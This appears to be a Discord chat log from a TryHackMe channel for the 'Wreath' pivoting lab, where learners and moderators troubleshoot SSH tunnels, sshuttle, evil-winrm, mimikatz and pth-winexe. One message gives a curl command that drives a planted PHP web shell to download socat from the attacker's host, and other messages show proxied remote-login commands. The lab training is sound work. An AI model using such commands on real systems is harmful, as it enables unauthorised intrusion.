I have no idea what the 4 dots after the first one are unless it's all the -rNx options but that didn't work either task 15 question 2

strange bison Mar 23, 2021, 4:57 PM

#

Just the switch, and arguments for it

#

First of the 4 chars is a double quote mark

lilac ibex Mar 23, 2021, 4:58 PM

#

|| "-e"||

#

like that?

#

and -r after? idk

limber rover Mar 23, 2021, 4:58 PM

#

cold urchin Still 404

Whats your THM username?

strange bison Mar 23, 2021, 4:59 PM

#

lilac ibex || `"-e"`||

No, long format flag

#

lilac ibex Mar 23, 2021, 5:01 PM

#

@strange bison oh though you wanted to include the sshuttle part with the -e flag

#

right...

#

thanks

strange bison Mar 23, 2021, 5:01 PM

#

I did say just the switch and arguments for it

lilac ibex Mar 23, 2021, 5:02 PM

#

-e is the short version of it

#

strange bison Mar 23, 2021, 5:02 PM

#

All the content in the room uses long form

#

So you could probably assume longform?

lilac ibex Mar 23, 2021, 5:03 PM

#

fair enough

strange bison Mar 23, 2021, 5:03 PM

#

just the switch and arguments with short form wouldn't fit

coarse zealot Mar 23, 2021, 5:03 PM

#

Can i get some help?

lilac ibex Mar 23, 2021, 5:03 PM

#

banned?

coarse zealot Mar 23, 2021, 5:03 PM

#

yeah

#

i just logged in in a while and saw that wreath has launched

#

and this appears when i clicked

lilac ibex Mar 23, 2021, 5:03 PM

#

@strange bison anyways thanks for the help like it so far. Will finish it today

lilac ibex Mar 23, 2021, 5:04 PM

#

coarse zealot yeah

not like room timeout errors just banned? I have no idea

coarse zealot Mar 23, 2021, 5:04 PM

#

yes just banned

strange bison Mar 23, 2021, 5:05 PM

#

@merry robin another banned user

strange bison Mar 23, 2021, 5:05 PM

#

coarse zealot yes just banned

Did you try to join before it was released?

coarse zealot Mar 23, 2021, 5:05 PM

#

i think so..

strange bison Mar 23, 2021, 5:05 PM

#

Like before today

#

Yeah... muir was banning people from the room for that

coarse zealot Mar 23, 2021, 5:05 PM

#

oh

strange bison Mar 23, 2021, 5:05 PM

#

~~One of the admins was banning people from the site for it so you were lucky~~

lilac ibex Mar 23, 2021, 5:06 PM

#

oh ohmy

coarse zealot Mar 23, 2021, 5:06 PM

#

so can i be unbanned or i ll stay like this?

strange bison Mar 23, 2021, 5:06 PM

#

I pinged Muir. Muir will sort it.

coarse zealot Mar 23, 2021, 5:06 PM

#

oh ok

cold urchin Mar 23, 2021, 5:09 PM

#

limber rover Whats your THM username?

TurtleBerry

limber rover Mar 23, 2021, 5:15 PM

#

There isn't an account with that username, are you sure its correct (and the case is right)?

strange bison Mar 23, 2021, 5:21 PM

#

#

Lower case b?

fervent obsidian Mar 23, 2021, 5:21 PM

#

surreal sail Did anyone faced any problem while installing Empire? Module M2Crypto was not ge...

Are you installing it through kali with apt install powershell-empire or github?

surreal sail Mar 23, 2021, 5:30 PM

#

Github

limber rover Mar 23, 2021, 5:38 PM

#

cold urchin TurtleBerry

Should be okay now:)

fervent obsidian Mar 23, 2021, 5:38 PM

#

surreal sail Github

That package can sometime cause some trouble. I'd give the kali install a shot. Especially since they are getting early access to a newer version with a few more features. If you are still running into install problems, you can always reach out to us on our discord.
https://discord.com/invite/P8PZPyf

surreal sail Mar 23, 2021, 5:39 PM

#

Thanks will give that a try tomorrow morning

strange bison Mar 23, 2021, 5:39 PM

#

I panic when I see a discord link NGL

merry robin Mar 23, 2021, 5:39 PM

#

Hehe, that one is fine

cold urchin Mar 23, 2021, 5:39 PM

#

limber rover Should be okay now:)

Thank you, I will give it a try in a bit!

fervent obsidian Mar 23, 2021, 5:40 PM

#

sorry lol I tried not to link it with the embedded thing but it cannot be turned off aparently

strange bison Mar 23, 2021, 5:41 PM

#

Cx01N, it's really great that you're working so closely with Muir on this. As someone who tested the network and was there for some of the dev, it's been a challenge but it's good to see bugs in the tool ironed out like this

#

Big thank you from me, and I'm sure the rest of the testers would back that

fervent obsidian Mar 23, 2021, 5:42 PM

#

@strange bison Thanks! I know I hate it when tools dont work so we try hard to get those fixed pretty quickly

young roost Mar 23, 2021, 6:12 PM

#

Hey, so i am getting a strange error on post exploitation on 2nd machine i addded my user to admins but i cant get mimikatz to work || it gives me a perm error and token elevate doesnt seem to be working either it shows token (Error : ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061 )||

strange bison Mar 23, 2021, 6:14 PM

#

with privilege::debug?

#

What user are you using?

merry robin Mar 23, 2021, 6:16 PM

#

young roost Hey, so i am getting a strange error on post exploitation on 2nd machine i addde...

Are you using WinRM or RDP?

woven warren Mar 23, 2021, 6:17 PM

#

command prompt needs to be ran as admin too

young roost Mar 23, 2021, 6:18 PM

#

rdp

young roost Mar 23, 2021, 6:19 PM

#

woven warren command prompt needs to be ran as admin too

ohhh okay but i taught we had to privillege debug and then token elevate

merry robin Mar 23, 2021, 6:19 PM

#

Then what blackdragon said, I would imagine

young roost Mar 23, 2021, 6:19 PM

#

strange bison with privilege::debug?

yess

merry robin Mar 23, 2021, 6:19 PM

#

You also have to do that

marble dove Mar 23, 2021, 6:19 PM

#

WHen does this get released?

young roost Mar 23, 2021, 6:19 PM

#

ahh okay, Thanks a lot to you all for the help

merry robin Mar 23, 2021, 6:19 PM

#

young roost yess

It's to do with process integrity. An administrator doesn't necessarily execute processes as an administrator. Usually they do it with medium integrity -- same as a normal user

#

You need to execute command prompt explicitly as an administrator (as a high integrity process) before you have the Impersonate and Debug tokens available

merry robin Mar 23, 2021, 6:20 PM

#

marble dove WHen does this get released?

As in, hard-released?

young roost Mar 23, 2021, 6:20 PM

#

merry robin It's to do with process integrity. An administrator doesn't necessarily execute ...

ahh okay, thanks a lot , I didnt know that 😄

lilac ibex Mar 23, 2021, 6:21 PM

#

is there any other port I need forward for evil-winrm to work. Trying to forward it and do localhost -p <port-number> fails and evil win-rm over proxychains dyanmic ssh tunnel fails confused

merry robin Mar 23, 2021, 6:22 PM

#

lilac ibex is there any other port I need forward for evil-winrm to work. Trying to forward...

Are you using an SSH port forward through .200?

lilac ibex Mar 23, 2021, 6:23 PM

#

@merry robin I can get rdesktop to work fine

#

that's about it

#

shuttle and dynamic ssh forward over proxychains works

#

have tried firewall rules and local forward winrm to localhost on a different port just times out

merry robin Mar 23, 2021, 6:28 PM

#

What have you used to pivot @lilac ibex?
Are you setting up an SSH port forward to 5985 via .200?

lilac ibex Mar 23, 2021, 6:31 PM

#

||ssh -D proxyport -i id_rsa root@10.200.92.200 proxychains evil-winrm -u user -p password -i 10.200.92.150||

#

oh that didn't format right

#

and || ssh -L 1234:10.200.92.150:5985 -i id_rsa root@10.200.92.200 ||

merry robin Mar 23, 2021, 6:32 PM

#

Now, those both look right to me

#

What errors was evil-winrm giving you?

lilac ibex Mar 23, 2021, 6:35 PM

#

#

is there a 4th command I'm missing for the a net user part?

#

auth failed

merry robin Mar 23, 2021, 6:36 PM

#

That would indicate that the user isn't in the "Remote Management Users" group

#

OR that you're getting the password wrong

#

But yeah, the actual proxying is working fine

lilac ibex Mar 23, 2021, 6:37 PM

#

if there are not in remote management

#

wouldn't RDP fail aswell?

#

or does that not apply

merry robin Mar 23, 2021, 6:37 PM

#

RDP accepts Administrator or Remote Desktop Users groups

#

So either of those will have access

#

There's something funky about WinRM and administrator

#

From memory it's that you can only use it as an administrator if you've already logged in once normally / via RDP

#

Something like that

#

Otherwise you need the Remote Management Users group explicitly defined

lilac ibex Mar 23, 2021, 6:41 PM

#

command failed while trying to do web command injection... no wonder

#

lkadjfdak;lsfjads;klf

#

@merry robin thanks

#

will write that down

merry robin Mar 23, 2021, 6:42 PM

#

Np!

outer thunder Mar 23, 2021, 6:59 PM

#

Somebody else get a permission denied when trying to connect with root ssh to the network?

lilac ibex Mar 23, 2021, 7:00 PM

#

@outer thunder what's the command

#

sometimes I have to restart my ovpn connection for some reason

#

even though the network is still up

#

no idea why

outer thunder Mar 23, 2021, 7:01 PM

#

|| ssh -i id_rsa root@<ip> ||

lilac ibex Mar 23, 2021, 7:01 PM

#

and chmod the key

sly spear Mar 23, 2021, 7:01 PM

#

Is this channel new? I just noticed it

outer thunder Mar 23, 2021, 7:01 PM

#

Yes changed with 600

lilac ibex Mar 23, 2021, 7:02 PM

#

@outer thunder

the network died and f5 the page will see it's off
0r
restarting your ovpn connection will fix the issue for some reason
i have no idea after that

#

@sly spear ya free thm network is out

merry robin Mar 23, 2021, 7:03 PM

#

outer thunder Yes changed with 600

Which network are you on?

outer thunder Mar 23, 2021, 7:03 PM

#

@lilac ibex thanks i will try it with my open vpn 🙂

merry robin Mar 23, 2021, 7:03 PM

#

And can you screenshot the error?

sly spear Mar 23, 2021, 7:03 PM

#

lilac ibex <@!327429593067683840> ya free thm network is out

Sweet! Thanks cheers

lilac ibex Mar 23, 2021, 7:04 PM

#

sly spear Sweet! Thanks <a:cheers:581471630346420224>

np ;'..;' 👍 just need a 7 day streak or sub to do it

#

@outer thunder any luck while I wait for this to download...[progress-bar...]

outer thunder Mar 23, 2021, 7:06 PM

#

@merry robin this is my error message

#

ssh -i id_rsa root@10.200.95.200
Load key "id_rsa": invalid format
root@10.200.95.200: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).

lilac ibex Mar 23, 2021, 7:06 PM

#

id_rsa key is broken

merry robin Mar 23, 2021, 7:06 PM

#

That looks suspiciously like someone might have changed the key

lilac ibex Mar 23, 2021, 7:06 PM

#

or that

merry robin Mar 23, 2021, 7:06 PM

#

Could you do me a favour: disconnect from the VPN and DM me your connection pack @outer thunder?

#

The authorized_keys file is literally chattr +i'd to discourage people from doing that, but, some people are trolls

lilac ibex Mar 23, 2021, 7:08 PM

#

@merry robin if the file exist with the correct key. Does chattr prevent ssh-key from working?

merry robin Mar 23, 2021, 7:09 PM

#

Nah -- works fine through it

#

Just stops people from overwriting it, and chattr is less well known than chmod

lilac ibex Mar 23, 2021, 7:10 PM

#

ya chattr doesn't allow anyone to modify it including root. Just wondered if I missed something important

strange bison Mar 23, 2021, 7:10 PM

#

"if you change the key I will hunt you down" - problem solved

merry robin Mar 23, 2021, 7:10 PM

#

Tbf, I am quite happy to ban people if I see them trolling 🤷‍♂️

#

It's a free network -- not like they're paying to be in there

#

Ergo it's a privilege, not a right

lilac ibex Mar 23, 2021, 7:11 PM

#

@merry robin anyways has anyone tried to do a shell over rdp with pth-winexe doesn't seem like it works

merry robin Mar 23, 2021, 7:11 PM

#

IIRC that's working via SMB?
SMB isn't exposed on either of those boxes, so it shouldn't do

lilac ibex Mar 23, 2021, 7:16 PM

#

merry robin IIRC that's working via SMB? SMB isn't exposed on either of those boxes, so it s...

pth-winexe needs 445 to work?

#

not trying psexec

merry robin Mar 23, 2021, 7:16 PM

#

Yep, but it has to get in somehow

#

I think this is in my PWK notes. Lemme check

#

Oh, wait

#

Samba

#

So yes, it's working via SMB

#

As far as I can tell, winexe is actually basically the psexec build for Linux

#

The impacket psexec.py just being an alternative

lilac ibex Mar 23, 2021, 7:20 PM

#

ah then why is it always talked about as RDP...

jagged lion Mar 23, 2021, 7:23 PM

#

merry robin Oh, wait

I’ve never heard of that tool hmmmm, probably because the latest system it supports is 2003

merry robin Mar 23, 2021, 7:23 PM

#

Oh, no idea, but it's definitely nothing to do with RDP. There are ways to PTH with RDP (xfreerdp has an option for it), but winexe doesn't take advantage of that

#

@hard mortar can you confirm that?

lilac ibex Mar 23, 2021, 7:23 PM

#

pth-winexe hangs to

jagged lion Mar 23, 2021, 7:23 PM

#

grrr

merry robin Mar 23, 2021, 7:23 PM

#

jagged lion I’ve never heard of that tool hmmmm, probably because the latest system it suppo...

It does Windows NT as well

jagged lion Mar 23, 2021, 7:23 PM

#

heck you no ask me

lilac ibex Mar 23, 2021, 7:23 PM

#

seems like thy are the same thing

jagged lion Mar 23, 2021, 7:23 PM

#

yes you can pth from rdp

lilac ibex Mar 23, 2021, 7:24 PM

#

or im doing it wrong

merry robin Mar 23, 2021, 7:24 PM

#

jagged lion heck you no ask me

Because you just told me you'd never heard of it!

jagged lion Mar 23, 2021, 7:24 PM

#

winexe != pth

merry robin Mar 23, 2021, 7:24 PM

#

pth-winexe won't work either if SMB isn't open

merry robin Mar 23, 2021, 7:24 PM

#

jagged lion winexe != pth

There's a tool called winexe, and there's a tool called pth-winexe

lilac ibex Mar 23, 2021, 7:24 PM

#

smb not open sage

merry robin Mar 23, 2021, 7:24 PM

#

Two separate binaries, and yes, it's weird

lilac ibex Mar 23, 2021, 7:24 PM

#

but the same thing?

#

ls -al no symbolic link kek

merry robin Mar 23, 2021, 7:25 PM

#

Yeah, they're doing the same thing, just one of them does it with PTH and one of them is just an equivalent to PSexec

hard mortar Mar 23, 2021, 7:25 PM

#

merry robin <@!595016430102249488> can you confirm that?

pth via rdp doesn't work in like 99% of situations for whatever reason

merry robin Mar 23, 2021, 7:25 PM

#

Why those couldn't go into one binary, I don't know

merry robin Mar 23, 2021, 7:25 PM

#

hard mortar pth via rdp doesn't work in like 99% of situations for whatever reason

Some obscure registry setting

hard mortar Mar 23, 2021, 7:25 PM

#

yup

lilac ibex Mar 23, 2021, 7:25 PM

#

pth-winexe is super slow vs psexec

merry robin Mar 23, 2021, 7:25 PM

#

But no, it was the winexe working over SMB that I was asking you to confirm

#

That's correct, yes?

lilac ibex Mar 23, 2021, 7:26 PM

#

seems like it

merry robin Mar 23, 2021, 7:26 PM

#

Oi, Spooky 😆

hard mortar Mar 23, 2021, 7:26 PM

#

merry robin Mar 23, 2021, 7:26 PM

#

Right, that's literally what I sent a minute ago 🤣

strange bison Mar 23, 2021, 7:26 PM

#

kekww

merry robin Mar 23, 2021, 7:26 PM

#

Thanks Spooky ♥️

hard mortar Mar 23, 2021, 7:26 PM

#

#

kekw

#

I'd say so

lilac ibex Mar 23, 2021, 7:26 PM

#

kek, but is there any shell rdp only port program I have never heard about?

hard mortar Mar 23, 2021, 7:26 PM

#

im no expert tho

merry robin Mar 23, 2021, 7:27 PM

#

Right, you literally are the Windows expert around here

#

But yeah, that was my conclusion too

hard mortar Mar 23, 2021, 7:27 PM

#

I am?

merry robin Mar 23, 2021, 7:27 PM

#

Oh God

merry robin Mar 23, 2021, 7:27 PM

#

lilac ibex kek, but is there any shell rdp only port program I have never heard about?

RDP is graphical by nature

#

So, I wouldn't imagine so

lilac ibex Mar 23, 2021, 7:28 PM

#

but shell so copy paste is more fun

merry robin Mar 23, 2021, 7:28 PM

#

That's where WinRM comes in

lilac ibex Mar 23, 2021, 7:28 PM

#

what is smb and winrm are both closed?

hard mortar Mar 23, 2021, 7:28 PM

#

if SMB is closed, your PC is borked.

merry robin Mar 23, 2021, 7:28 PM

#

Then you hope that RDP is open

merry robin Mar 23, 2021, 7:29 PM

#

hard mortar if SMB is closed, your PC is borked.

Tbf, it's firewalled in both of those Windows machines -- just by default

hard mortar Mar 23, 2021, 7:29 PM

#

remember, filtered vs closed is different

strange bison Mar 23, 2021, 7:29 PM

#

hard mortar if SMB is closed, your PC is borked.

Surely if you have all the sharing off then SMB is closed?

merry robin Mar 23, 2021, 7:29 PM

#

Although it shouldn't technically be. Just because Windows doesn't classify AWS networks properly

lilac ibex Mar 23, 2021, 7:29 PM

#

hard mortar if SMB is closed, your PC is borked.

By that definition wreath is broken

merry robin Mar 23, 2021, 7:29 PM

#

strange bison Surely if you have all the sharing off then SMB is closed?

Think it's still actually open, iirc

strange bison Mar 23, 2021, 7:29 PM

#

Wreath is less broken than holo™️

merry robin Mar 23, 2021, 7:29 PM

#

Just nothing being shared

hard mortar Mar 23, 2021, 7:29 PM

#

strange bison Surely if you have all the sharing off then SMB is closed?

surprisingly, no, you need to go disable several services

lilac ibex Mar 23, 2021, 7:30 PM

#

@strange bison can I access that right now?

strange bison Mar 23, 2021, 7:30 PM

#

Holo?

#

No

lilac ibex Mar 23, 2021, 7:30 PM

#

D:

strange bison Mar 23, 2021, 7:30 PM

#

And think yourself lucky for it

merry robin Mar 23, 2021, 7:30 PM

#

Holo is a wee bit brokey

hard mortar Mar 23, 2021, 7:30 PM

#

netlogon, lanmanclient, and lanmanserver

merry robin Mar 23, 2021, 7:31 PM

#

lilac ibex what is smb and winrm are both closed?

To answer this question though, if you don't have SMB (with admin credentials), or WinRM (with a user allowed to access it), or RDP, then you're hoping that there's a vulnerable service / webapp

#

Otherwise you ain't getting in

lilac ibex Mar 23, 2021, 7:31 PM

#

merry robin To answer this question though, if you don't have SMB (with admin credentials), ...

D:

merry robin Mar 23, 2021, 7:31 PM

#

Kinda the equivalent of SSH being closed on Linux

lilac ibex Mar 23, 2021, 7:31 PM

#

fair but still D:

merry robin Mar 23, 2021, 7:32 PM

#

Hey, be glad I specifically allowed WinRM in the firewall kekw

lilac ibex Mar 23, 2021, 7:32 PM

#

merry robin Kinda the equivalent of SSH being closed on Linux

when port 80 is the only port open

merry robin Mar 23, 2021, 7:32 PM

#

Then the fun begins 😁

lilac ibex Mar 23, 2021, 8:19 PM

#

is there a good way to do reverse socks proxy with dynamic ssh tunnels windows machine -> first box?

strange bison Mar 23, 2021, 8:20 PM

#

I think I used chisel

#

Although I think I needed a relay?

lilac ibex Mar 23, 2021, 8:20 PM

#

trying chisel thinking how to do it with ssh

#

not sure how to do the last pivot will figure it out later

surreal sail Mar 23, 2021, 8:53 PM

#

ah

#

@merry robin still the problem isn't solved

#

404

#

;--;-----;

merry robin Mar 23, 2021, 8:54 PM

#

Uh...

#

( @limber rover, sorry, pinging again ^^)

surreal sail Mar 23, 2021, 8:55 PM

#

ah, i restarted my router and regenerated it and it downloaded it

#

thanks anyways

merry robin Mar 23, 2021, 8:58 PM

#

Sounds like a cache thing there 🙂

civic barn Mar 23, 2021, 9:29 PM

#

In task 17 it is mentioned that we cannot perform a service scan on the target without setting up a proxy, is that because we use a portable version of nmap or what?

strange bison Mar 23, 2021, 9:30 PM

#

Yea, it doesn't have the service version scan supported. I think it explains why if you try with the static nmap?

civic barn Mar 23, 2021, 9:35 PM

#

Yes, it says that couldn't find the nse_main script

merry robin Mar 23, 2021, 9:37 PM

#

Yeah -- static nmap doesn't include all the Lua scripts that make up the NSE 🙂

glacial monolith Mar 23, 2021, 11:16 PM

#

How long should it take this to run? || sshuttle -r root@10.200.1.200 --ssh-cmd "ssh -i id_rsa" 10.200.1.0/24 -x 10.200.1.200 ||

#

keeps timing out

merry robin Mar 23, 2021, 11:16 PM

#

Virtually instant, but I can almost guarantee that's the wrong subnet

#

10.200.1.x is not assigned afaik

fair breach Mar 23, 2021, 11:17 PM

#

^

#

We have 10.200.2.* onwards for wreath

merry robin Mar 23, 2021, 11:18 PM

#

.2?

#

The first one is .72, no?

glacial monolith Mar 23, 2021, 11:18 PM

#

it is

#

I derped

#

thank you!

merry robin Mar 23, 2021, 11:18 PM

#

Hehe, np!

#

Enjoy!

fair breach Mar 23, 2021, 11:18 PM

#

Oh wait -- maybe not .2 I think and a few subnets above are throwback (honest it's so easy to mix up when using the CLI LMAO)

merry robin Mar 23, 2021, 11:19 PM

#

Yeah, Holo and Throwback are on 10.200 as well, I know that

fair breach Mar 23, 2021, 11:19 PM

#

but yeah -- 10.200.1.* defo isn't assigned for anything like that atm (:

#

glad you know more than me Muirl 😄

glacial monolith Mar 23, 2021, 11:19 PM

#

c : Connected to server.
🙂

merry robin Mar 23, 2021, 11:19 PM

#

Although Wreath with 40 networks will be taking up a nice big chunk of the upper section now 😆

merry robin Mar 23, 2021, 11:19 PM

#

glacial monolith c : Connected to server. 🙂

Ayeeeeee

#

Well done

glacial monolith Mar 23, 2021, 11:22 PM

#

proxies confuse me but I'm figuring it out. First network haha

woven warren Mar 23, 2021, 11:22 PM

#

just follows muiri's instructions they are really clear

merry robin Mar 23, 2021, 11:26 PM

#

glacial monolith proxies confuse me but I'm figuring it out. First network haha

You'll get this!

#

Let me know if there's anything I can make clearer in the network 🙂

glacial monolith Mar 23, 2021, 11:30 PM

#

Yeah it was mainly with the foxy proxy, thought I was supposed to set the ip to the device I was connecting to .150 instead of .200 so I kept trying to navigate there and got redirected to my dns setup earlier. Everything has been very clear, thanks!!

merry robin Mar 23, 2021, 11:31 PM

#

It happens!

woven warren Mar 24, 2021, 12:02 AM

#

@merry robin @fair breach can one of you check the 72 network, it stopped and after restarting I can't get connected

fair breach Mar 24, 2021, 12:03 AM

#

Lemme check real quick

#

Aye yeah everything is stopped aside from the VPN for it @woven warren. Boxes launched 3 hours ago (20.16:12 GMT) but shutdown 16 mins ago (23:50:00 GMT)

woven warren Mar 24, 2021, 12:07 AM

#

#

This is what I see after refreshing the page

limber rover Mar 24, 2021, 12:15 AM

#

woven warren This is what I see after refreshing the page

That network is really packed, more networks have been created - if you leave and rejoin the room you should be put into another less-busy network.

woven warren Mar 24, 2021, 12:16 AM

#

thanks

fair breach Mar 24, 2021, 12:26 AM

#

Thanks @limber rover (:

woven warren Mar 24, 2021, 12:27 AM

#

up on the 99 network, now to re-exploit

fair breach Mar 24, 2021, 12:28 AM

#

Glad to hear it. Hopefully it isn't too much of a pain

#

We're still trying to see how best to scale it etc hence why it isn't "officially" released etc

#

Never know until you try right? No matter the testing

glacial monolith Mar 24, 2021, 12:29 AM

#

Thanks for including shebangs, that's pretty cool.

woven warren Mar 24, 2021, 12:30 AM

#

I have some pretty good notes, that is making it quick, plus some of the stuff is the same

fair breach Mar 24, 2021, 12:30 AM

#

Wicked to hear. Teething problems since networks is such a new thing to THM

woven warren Mar 24, 2021, 12:31 AM

#

I am enjoying it so far

fair breach Mar 24, 2021, 12:35 AM

#

From working on it on the backend as much as I have it seems great. Muirl's done an absolute superb job. I just haven't had the chance to fully go through it (as in complete the network)

#

but I think it really teaches some important concepts/topics super well

woven warren Mar 24, 2021, 12:36 AM

#

yup, up to task 40

glacial monolith Mar 24, 2021, 12:36 AM

#

Set the IP to the correct target for your choice of pivoting technique. If you used sshuttle or one of the proxying techniques then this will just be the IP of the target.

#

Is the target the one my proxy connection the server is setup with or the target I am attacking with the exploit

#

Task 19

woven warren Mar 24, 2021, 12:39 AM

#

target is the host you want to exploit

#

sshuttle just helps facilitate the connection

glacial monolith Mar 24, 2021, 12:42 AM

#

I see, it makes sense now.

normal salmon Mar 24, 2021, 12:45 AM

#

this intended??

merry robin Mar 24, 2021, 12:46 AM

#

normal salmon this intended??

That is not a static binary

#

Where did you get it from?

normal salmon Mar 24, 2021, 12:46 AM

#

my host

merry robin Mar 24, 2021, 12:46 AM

#

Then that'll be why

normal salmon Mar 24, 2021, 12:46 AM

#

haha ok.

merry robin Mar 24, 2021, 12:46 AM

#

When a binary is compiled it's usually dynamic (meaning it relies on other libraries of shared code on the system)

#

You have to outright tell the compiler to create a static binary if you want it to function entirely independently

normal salmon Mar 24, 2021, 12:47 AM

#

gotcha....well i figured my nc binary would work...thats not either

merry robin Mar 24, 2021, 12:47 AM

#

For the same reason

normal salmon Mar 24, 2021, 12:47 AM

#

same library erro

#

ok...

merry robin Mar 24, 2021, 12:48 AM

#

Use the links in the task to download static copies

normal salmon Mar 24, 2021, 12:48 AM

#

RTFM == win always

merry robin Mar 24, 2021, 12:48 AM

#

Heh, they're definitely not just there to look pretty 😆

coarse zealot Mar 24, 2021, 12:51 AM

#

@merry robin can i know if i can be unbanned from Wreath please?

normal salmon Mar 24, 2021, 12:52 AM

#

meager ore Mar 24, 2021, 12:52 AM

#

Is the target up? 👀 I was able to reach it yesterday, but can't right now. I've verified that I have a valid tun0 IP - but the target isn't pingable/nmapable today for some reason 🤔

strange bison Mar 24, 2021, 12:52 AM

#

10.200.72.x?

merry robin Mar 24, 2021, 12:52 AM

#

coarse zealot <@!650476435269484549> can i know if i can be unbanned from Wreath please?

Are you not the guy who did about 30 questions in it before I banned you?

coarse zealot Mar 24, 2021, 12:52 AM

#

nope

merry robin Mar 24, 2021, 12:53 AM

#

You sure?

coarse zealot Mar 24, 2021, 12:53 AM

#

i think i click only on start

#

yea

meager ore Mar 24, 2021, 12:53 AM

#

strange bison 10.200.72.x?

Nothing for 10.200.72.200

#

My streaked dropped to 0 today as I couldn't get the pivoting working yesterday, not sure if that's related? I'm a subscriber though 🤔

merry robin Mar 24, 2021, 12:54 AM

#

Because I distinctly remember giving someone the link, thinking they had joined, being pleased that they were working on it, then checking the profile and realising it wasn't a British account, but rather, a Romanian account with four letters starting with V @coarse zealot

#

Not ring any bells?

coarse zealot Mar 24, 2021, 12:54 AM

#

umm

merry robin Mar 24, 2021, 12:54 AM

#

meager ore My streaked dropped to 0 today as I couldn't get the pivoting working yesterday,...

Once you have access, you have access permanently 🙂

merry robin Mar 24, 2021, 12:55 AM

#

meager ore Nothing for `10.200.72.200`

Are you on the .72 subnet?
If so, leave and rejoin.

woven warren Mar 24, 2021, 12:55 AM

#

meager ore Nothing for `10.200.72.200`

leave the room and rejoin, I was having issues with that network earlier

coarse zealot Mar 24, 2021, 12:55 AM

#

i didn't do many questions as i remember

merry robin Mar 24, 2021, 12:55 AM

#

That's the dev subnet

coarse zealot Mar 24, 2021, 12:55 AM

#

1 or 2

meager ore Mar 24, 2021, 12:55 AM

#

My tun0 is 10.50.x.x

merry robin Mar 24, 2021, 12:55 AM

#

Essentially a bunch of people got shoved into it by accident

#

Is the first IP 10.200.72.200?

unique geyser Mar 24, 2021, 12:55 AM

#

Hey anybody knows how to fix this , empire when using the hopping listener

coarse zealot Mar 24, 2021, 12:55 AM

#

so no chance of unbanning ? :((

meager ore Mar 24, 2021, 12:56 AM

#

$ ping 10.200.72.200
PING 10.200.72.200 (10.200.72.200) 56(84) bytes of data.
From 10.50.73.1 icmp_seq=1 Destination Host Unreachable

My tun0: 10.50.73.x/24

merry robin Mar 24, 2021, 12:56 AM

#

coarse zealot so no chance of unbanning ? :((

I mean, it sounds distinctly like you're
A) Lying to try getting unbanned and
B) Not acknowledging the infraction in the first place

merry robin Mar 24, 2021, 12:56 AM

#

meager ore ``` $ ping 10.200.72.200 PING 10.200.72.200 (10.200.72.200) 56(84) bytes of data...

Leave and rejoin

coarse zealot Mar 24, 2021, 12:57 AM

#

i don't remember, but thanks anyways

merry robin Mar 24, 2021, 12:57 AM

#

*sigh*
I've asked the admins to unban everyone, full disclosure

#

It's obviously not been done yet though

meager ore Mar 24, 2021, 12:57 AM

#

You have left the room.
Should I download a new ovpn file too? 👀

merry robin Mar 24, 2021, 12:58 AM

#

Yeah, rejoin then download a new config file 🙂

merry robin Mar 24, 2021, 12:58 AM

#

unique geyser Hey anybody knows how to fix this , empire when using the hopping listener

That... Good question

#

Um, @fervent obsidian?

#

Weird Python error message

unique geyser Mar 24, 2021, 12:59 AM

#

Yes, its driving me insane

#

Installed empire through github

meager ore Mar 24, 2021, 1:03 AM

#

merry robin Yeah, rejoin then download a new config file 🙂

Thanks; I just rejoined with tun0 being 10.50.101.x/24 now

Looks like PING 10.200.72.200 (10.200.72.200) 56(84) bytes of data. just hangs indefinitely now unfortunately

woven warren Mar 24, 2021, 1:04 AM

#

you should have gotten a new network

merry robin Mar 24, 2021, 1:04 AM

#

meager ore Thanks; I just rejoined with tun0 being `10.50.101.x/24` now Looks like `PING ...

You're on a different subnet now

meager ore Mar 24, 2021, 1:04 AM

#

I thought there might have been a more explicit 'rejoin' for the room, but it just kept my old state around for some reason

merry robin Mar 24, 2021, 1:04 AM

#

10.200.100.x, I'd wager

woven warren Mar 24, 2021, 1:05 AM

#

i got .99

fair breach Mar 24, 2021, 1:05 AM

#

Nothing active on 10.200.72.* even then there's only one machine which is the .200 which doesn't seem to be the vpn server

#

which was stopped ~2/3 hours ago

#

Oh I lie

merry robin Mar 24, 2021, 1:07 AM

#

.250 is the VPN server

fair breach Mar 24, 2021, 1:07 AM

#

the VPN server for that is active but nothing else

glacial monolith Mar 24, 2021, 2:35 AM

#

I'm not seeing any transfer from my http server. Anyone know what I'm doing wrong? || curl -X POST http://10.200.72.150/web/exploit-Ferrari404.php -d "a=curl http://Tun0-IP/socat -o socat-Ferrari404 && chmod +x socat-Ferrari404" ||

woven warren Mar 24, 2021, 2:40 AM

#

which task is that for

glacial monolith Mar 24, 2021, 2:55 AM

#

Task 20

#

trying to setup the relay but not sure how to get socat onto the target

#

I went back to Task 13 on socat to try and figure it out

#

but no luck

digital tendon Mar 24, 2021, 3:35 AM

#

glacial monolith I'm not seeing any transfer from my http server. Anyone know what I'm doing wron...

if you use the SSHuttle that the guide recommends, you should be able to just use "upload" and "download" functionality with WinRM

stable dagger Mar 24, 2021, 3:37 AM

#

anyone having issues with level 33 on wreath?? i have issues with the webpage displaying

glacial monolith Mar 24, 2021, 3:38 AM

#

Ah right, I did use sshuttle.. thank you.

stable dagger Mar 24, 2021, 3:39 AM

#

@glacial monolith level 33?? i used shuttle too

glacial monolith Mar 24, 2021, 3:40 AM

#

No, I'm on 20

normal salmon Mar 24, 2021, 7:27 AM

#

Thanks guys...learning that xfreerdp can map shares was worth the admission alone. Super fun and very real world materials...

native needle Mar 24, 2021, 8:05 AM

#

normal salmon Thanks guys...learning that xfreerdp can map shares was worth the admission alon...

Please can you tell me how you get this?? I finished the room but i didn't get this only the badge

calm wedge Mar 24, 2021, 8:08 AM

#

native needle Please can you tell me how you get this?? I finished the room but i didn't get t...

You can download a certificate for a badge

#

For any badge)

native needle Mar 24, 2021, 8:09 AM

#

From where please if you canhelp me

calm wedge Mar 24, 2021, 8:10 AM

#

I'm not exactly sure how to do it but I know you can

#

I'm sure somebody else will be happy to help 😄

#

#

Actually here, on your public profile

#

Click "Share badge"

#

@native needle

native needle Mar 24, 2021, 8:12 AM

#

Im trying

#

#

Thanks 🙏🙏🙏

#

@calm wedge

calm wedge Mar 24, 2021, 8:14 AM

#

No worries 😄

lilac ibex Mar 24, 2021, 8:17 AM

#

Can I still access the Wreath network after finishing every question? Still would like to play with it.

merry robin Mar 24, 2021, 8:21 AM

#

Mhm

lilac ibex Mar 24, 2021, 8:23 AM

#

